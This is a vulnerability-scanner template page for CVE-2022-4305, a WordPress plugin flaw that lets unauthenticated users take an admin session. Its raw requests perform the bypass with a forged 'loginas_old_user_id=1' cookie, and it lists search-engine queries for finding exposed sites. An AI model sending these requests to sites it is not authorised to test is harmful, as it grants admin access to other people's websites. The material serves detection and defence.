Login as User or Customer < 3.3 - Privilege Escalation

ID: CVE-2022-4305

Severity: critical

Author: r3Y3r53

Tags: cve,cve2022,wpscan,wordpress,wp-plugin,wp,login-as-customer-or-user,auth-bypass,wp-buy

Description

The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.

YAML Source

id: CVE-2022-4305

info:
  name: Login as User or Customer < 3.3 - Privilege Escalation
  author: r3Y3r53
  severity: critical
  description: |
    The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
  remediation: Fixed in version 3.3
  reference:
    - https://wpscan.com/vulnerability/286d972d-7bda-455c-a226-fd9ce5f925bd
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4305
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4305
    cwe-id: CWE-269
    epss-score: 0.06738
    epss-percentile: 0.9384
    cpe: cpe:2.3:a:wp-buy:login_as_user_or_customer_\(user_switching\):*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp-buy
    product: login_as_user_or_customer_\(user_switching\)
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/login-as-customer-or-user
    fofa-query: body=/wp-content/plugins/login-as-customer-or-user
    publicwww-query: /wp-content/plugins/login-as-customer-or-user
  tags: cve,cve2022,wpscan,wordpress,wp-plugin,wp,login-as-customer-or-user,auth-bypass,wp-buy

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1
        Host: {{Hostname}}
        Cookie: loginas_old_user_id=1
      - |
        GET /wp-admin/users.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(header_2, "text/html")
          - contains(body_2, 'Edit Profile') && contains(body_2, 'All Posts')
        condition: and
# digest: 4a0a00473045022100ccfbaba7dd169fe5066ec6c0805e2c25e31369a8e79332ae109cd6f10f73471b022068e302f41f45b81dcf9c1df4932f2ccb28d7af8d7d9f6badbc4d0e206984057f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-4305.yaml"

View on Github